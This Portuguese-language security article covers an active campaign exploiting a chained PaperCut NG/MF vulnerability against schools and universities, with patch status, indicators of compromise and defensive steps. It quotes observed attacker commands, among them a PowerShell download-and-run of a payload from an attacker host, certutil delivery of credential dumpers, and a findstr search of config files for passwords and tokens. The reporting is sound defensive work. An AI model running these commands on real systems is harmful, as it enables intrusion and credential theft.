Uma campanha ativa está explorando o PaperCut NG e MF para roubo de credenciais em instituições de ensino nos Estados Unidos e na Europa, de escolas K-12 a grandes universidades. Quem documentou a campanha foi a Arctic Wolf Adversary Research Team, em 5 de setembro de 2026, e ela usa uma cadeia de duas falhas que a própria PaperCut divulgou no fim de agosto. Se você administra PaperCut, há um detalhe que decide tudo: já existem três patches emergenciais, e só o terceiro conta. Este artigo cobre a mecânica das duas falhas, o estado real da correção e os indicadores para caçar comprometimento hoje.

O que aconteceu, na ordem em que aconteceu

Em 27 de agosto a PaperCut publicou um boletim de segurança urgente informando que atacantes estavam explorando ativamente uma falha que afeta todas as versões do NG e do MF. A empresa disse ter incidentes confirmados de clientes e estar tratando o caso com prioridade máxima.

A mecânica veio em seguida, do trabalho da PaperCut com pesquisadores externos, incluindo Huntress e watchTowr, junto com a divulgação das duas CVEs. Em 5 de setembro a Arctic Wolf publicou o que os atacantes fazem depois de entrar e a que tipo de organização estão indo atrás: o setor educacional.

Um ponto que a cobertura da imprensa geralmente não deixa claro: até 7 de setembro a correção definitiva ainda não existia. O boletim da PaperCut segue em estado ativo, com atualizações diárias dizendo que o trabalho continua rumo ao release oficial. O que existe hoje é patch emergencial, e ele é explicitamente destinado a quem tem servidor exposto à internet e não consegue aplicar outra mitigação.

Vale registrar o precedente, porque ele define a expectativa. Em 2023, a CVE-2023-27350 no PaperCut MF e NG, com CVSS 9.8, foi explorada por atores russos e pelo grupo com motivação financeira Lace Tempest para entregar os ransomwares Cl0p e LockBit.

As duas falhas e por que uma sozinha não bastaria

O rótulo “cadeia de exploração” costuma ser vago. Aqui ele é literal, e dá para ver isso no próprio vetor CVSS de cada falha.

CVE-2026-81578 (CVSS 8.8): autenticação ausente em função crítica

Esta é a porta de entrada, classificada como CWE-306, ausência de autenticação em função crítica. É uma falha de controle de acesso impróprio na interface web de gerenciamento: sob condições específicas, requisições remotas não autenticadas contra funções administrativas disparam ações de backend antes de a validação de acesso terminar. O impacto, nas palavras da PaperCut, é permitir que um atacante remoto não autenticado modifique determinadas configurações do sistema.

A mecânica descrita pelos pesquisadores John Hammond e Andrew Brandt, da Huntress, é mais específica do que “erro de autorização”. Uma requisição especialmente construída pode referenciar duas páginas ao mesmo tempo: uma que é renderizada na resposta e outra que detém o componente ou a ação que será de fato executada. A checagem de autorização confia na página renderizada e não verifica as permissões exigidas pelo componente por trás dela.

Não é bug de roteamento nem de MVC mal implementado em geral. É uma checagem feita no objeto errado, e vale como padrão de auditoria em qualquer aplicação que separe a view do componente que executa a ação.

CVE-2026-82078 (CVSS 9.4): reflexão insegura no conector de banco

Esta é a segunda etapa, classificada como CWE-470, uso de entrada controlada externamente para selecionar classes ou código, o que se costuma chamar de reflexão insegura. A aplicação instancia classes de driver de banco a partir de nomes de driver configuráveis, sem validar contra uma allowlist de drivers aprovados. O impacto declarado é preciso: se o atacante conseguir manipular parâmetros de configuração do sistema, isso permite a execução de bytecode Java arbitrário que já esteja no classpath da aplicação, no contexto de segurança do processo do servidor PaperCut.

Onde as duas se encaixam

Repare no vetor CVSS de cada uma. A 82078, sozinha, exige privilégio alto (PR:H): é preciso já poder mexer na configuração do servidor para explorá-la. A 81578 exige privilégio nenhum (PR:N) e entrega exatamente isso, a capacidade de modificar configuração sem autenticar.

É por isso que a cadeia importa mais que qualquer uma das notas isoladas. A primeira falha satisfaz a pré-condição da segunda. O desfecho, nas palavras da Huntress, é controle remoto sobre a configuração confiável do PaperCut e execução de código Java arbitrário dentro do processo da aplicação, sem nenhuma credencial no ponto de partida.

Três patches emergenciais, e só o terceiro conta

Este é o ponto mais fácil de errar na leitura da notícia, e o mais caro. Quem acompanhou o caso pela cobertura da semana passada provavelmente ficou com a informação de que existiam dois patches emergenciais. São três.

• Patch emergencial original, junto com o boletim de 27 de agosto.
• Release 2, em 28 de agosto, com hardening adicional além do patch original, resultado do trabalho com Huntress e watchTowr.
• Release 3, em 1 de setembro, que substitui o Release 2.

O Release 3 é acumulativo: segundo a PaperCut, não é necessário instalar os patches anteriores, porque ele reúne todos os releases emergenciais. Ele adiciona hardening e mitigação contra possíveis cadeias de ataque, e corrige duas regressões que os patches anteriores introduziram:

• Fluxos de login SAML quebrados.
• Suporte restaurado a drivers legados do Microsoft SQL Server para consulta externa de cartão.

Essa parte merece atenção porque explica um comportamento comum em campo. Organização que aplicou um patch emergencial, viu o login SAML quebrar e reverteu ficou exposta sem perceber que a solução era avançar, não voltar. A recomendação da PaperCut é explícita: todos os clientes com Application Server voltado para a internet devem instalar o Release 3 assim que possível, mesmo que já tenham aplicado um release emergencial anterior.

O Release 3 está disponível para v24, v25 e v26, tanto no MF quanto no NG, com builds e checksums SHA256 publicados no boletim.

O que os atacantes fazem depois de entrar no PaperCut

Existem duas observações públicas, de origens diferentes, e vale separar.

A sequência cronometrada que a PaperCut publicou

A PaperCut divulgou uma sequência de comandos observada em ambiente real, medida em tempo decorrido a partir do primeiro comando. Ela vai de reconhecimento a acesso remoto persistente em menos de meia hora:

00:00:00  whoami & ver
00:01:19  tasklist
00:04:42  nltest /dclist:
00:06:09  quser & dir c:\users
00:16:07  powershell Invoke-WebRequest ... sendit[.]sh/Gg7Rp/ace[.]exe -OutFile C:\ProgramData\ace.exe
00:18:07  dir c:\programdata /a
00:19:27  c:\programdata\ace.exe /S
00:21:29  serviço do Windows "Remote Access Service" instalado (agente SimpleHelp, rodando como LocalSystem, auto-start)
00:21:41  tasklist
00:27:37  powershell Invoke-WebRequest ... download[.]anydesk[.]com/AnyDesk.exe -OutFile C:\ProgramData\AnyDesk.exe

Repare no nltest /dclist: aos quatro minutos. O atacante não está atrás da fila de impressão, está enumerando controladores de domínio. E repare no final: SimpleHelp e AnyDesk, duas ferramentas de suporte remoto legítimas, que levantam muito menos suspeita que um backdoor customizado e sobrevivem à limpeza do vetor original. A PaperCut recomenda procurar especificamente por um serviço do Windows chamado “Remote Access Service” executando SimpleService.exe e por instalações inesperadas de AnyDesk.

Em alguns casos a proteção de endpoint interrompeu a execução logo no whoami & ver e isolou a máquina, o que mostra que detecção comportamental no processo pai funciona aqui.

A campanha contra educação, documentada pela Arctic Wolf

A Arctic Wolf observou um conjunto adicional de atividade, voltado explicitamente para colher credenciais:

Conta privilegiada. Criação de uma conta chamada “Administrator17” depois do reconhecimento inicial.

Ferramentas de coleta entregues por LOLBin. Os binários lsa_collect.exe``lsa_collect_small.exe e save_hives.exe chegam pela via do certutil.exe, utilitário legítimo do Windows, baixados de 45.142.193[.]132. Em sandbox, a Arctic Wolf observou o lsa_collect.exe extraindo chaves de registro para reconstruir a BootKey do sistema, o que dá acesso à base SAM e, com ela, aos hashes de credenciais locais.

Payloads Meterpreter em Java. Recuperados de 194.180.48[.]134, com sessões estabelecidas de volta para o mesmo endereço. Java porque o PaperCut roda numa JVM, então o payload vive dentro do processo já comprometido.

Varredura por segredos nos arquivos de configuração. Uso do findstr para procurar nos arquivos *.config do PaperCut os termos “password”, “secret”, “ldap”, “bind” e “token”. É aqui que o comprometimento do servidor de impressão vira comprometimento do diretório: uma credencial de bind LDAP guardada nesse arquivo é caminho direto para o resto do ambiente.

Como os dados saem. Requisições GET vindas de 45.142.193[.]132 pedindo arquivos /custom/pcp_*.txt e /custom/web/pcp_*.txt nos hosts comprometidos. Esses arquivos não são configuração do produto: são o resultado da coleta, gravado pelo atacante num diretório servido pela web e depois buscado de fora.

Indicadores de comprometimento para caçar hoje

Strings no server.log
– ERROR No suitable driver found for jdbc:no:x
– ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST
– DB URL: jdbc:derby:memory:pwn;create=true
– Database error looking up cardID: VALUES CAST(X'cafebabe
– DB URL: jdbc:no:x DB Driver: <nome aleatório de 5 caracteres>

Arquivos escritos em disco
– <install>\server\lib\<nome-de-5-caracteres>.class
– <install>\server\data\content\<nome-de-5-caracteres>.cmd e .out

Serviços e ferramentas
– Serviço do Windows “Remote Access Service” executando SimpleService.exe como LocalSystem
– Instalações inesperadas de AnyDesk em C:\ProgramData
– Conta privilegiada “Administrator17” ou outras criadas fora do processo normal

Endereços de rede (observados pela Arctic Wolf)
– 45.142.193[.]132 (entrega de ferramenta e coleta dos dados)
– 194.180.48[.]134 (Meterpreter)

Comportamento e ausências
– pc-app.exe (ou pc-app) lançando processos filhos de shell, tipicamente cmd.exe rodando whoami & ver
– Arquivos server.log ausentes, truncados de forma inesperada ou apagados

A ressalva é da própria PaperCut e muda como o hunting deve ser conduzido: o atacante pode apagar esses arquivos conforme a atividade avança, e a ausência dos indicadores não é confirmação de que o sistema não foi afetado. Se o seu servidor esteve exposto no período, ausência de artefato não prova nada. É por isso que a detecção comportamental no processo pai pc-app.exe vale mais aqui do que a busca por arquivo conhecido.

Por que o setor educacional

Escolas e universidades enfrentam limitações estruturais que atacantes conhecem bem: orçamento de TI enxuto, vários campi com segmentação inconsistente, rotatividade alta de usuários e uma quantidade grande de software de infraestrutura herdado que nunca passou por auditoria própria.

Servidor de impressão é o exemplo perfeito dessa categoria. Ele não é tratado como ativo crítico, quase nunca aparece no escopo de uma avaliação de risco, e ainda assim costuma estar integrado ao diretório corporativo e alcançável de boa parte da rede. Como já discutimos no post Entenda: identificar vulnerabilidades sem culpar a equipe de cibersegurança, o problema aqui raramente é negligência de quem opera. É capacidade: equipe pequena não audita cada componente de terceiro que sustenta a operação.

Essa é a mesma lição que aparece em camadas que ninguém olha. Falhas enraizadas na arquitetura interna de um componente, e não numa configuração óbvia, são o assunto do post sobre Firmware Security: revelando vulnerabilidades ocultas, e o raciocínio é transferível: a superfície que importa não é só a que o usuário final enxerga, como também argumentamos em Browser-Based Attacks.

O que fazer agora

1. Tire o Application Server do PaperCut da internet. É a primeira orientação do boletim, com estas palavras: use regras de firewall, controles de acesso de rede ou equivalente para garantir que as interfaces web do servidor não sejam alcançáveis a partir de endereços não confiáveis, mesmo que você não tenha observado atividade suspeita. O patch emergencial existe para quem não consegue fazer isso, não no lugar disso.
2. Instale o Release 3, mesmo já tendo aplicado patch antes. Ele substitui o Release 2, é acumulativo e está disponível para v24, v25 e v26 no MF e no NG. Confira o checksum SHA256 publicado no boletim.
3. Se você reverteu um patch porque o SAML quebrou, essa era a regressão corrigida no Release 3. Avance em vez de continuar revertido.
4. Não considere o caso encerrado com o patch emergencial. O release oficial ainda não saiu, e o boletim segue em estado ativo com atualizações diárias.
5. Cace os indicadores acima, lembrando que a ausência deles não inocenta o servidor.
6. Monitore por comportamento, alertando para cmd.exe``powershell.exe ou outros interpretadores tendo pc-app.exe como processo pai, e para nltest``quser``whoami``tasklist ou ver nesse contexto.
7. Trate as credenciais como queimadas se houver qualquer indício. Rotacione o que estiver nos *.config do PaperCut, especialmente credenciais de bind LDAP, e considere que hashes locais da SAM podem ter saído.

Conclusão

O que separa este caso de mais um aviso de patch é a combinação de três coisas: uma cadeia em que a falha de nota menor é a que dispensa credencial e destrava a de nota maior, uma pós-exploração que em 28 minutos vai de whoami a acesso remoto persistente por ferramenta legítima, e um alvo escolhido pela fragilidade estrutural, não pelo valor do dado que o servidor de impressão guarda. Ninguém invade um sistema de fila de impressão pela fila de impressão. Invade porque ele fala com o domínio inteiro e ninguém está olhando.

Para quem administra PaperCut, a sequência não depende de análise adicional: tirar da internet hoje, instalar o Release 3 mesmo já tendo aplicado patch antes, e caçar assumindo que ausência de artefato não prova nada. O boletim oficial da PaperCut é a fonte a acompanhar até o release definitivo sair, e a cobertura da campanha contra o setor educacional está no The Hacker News.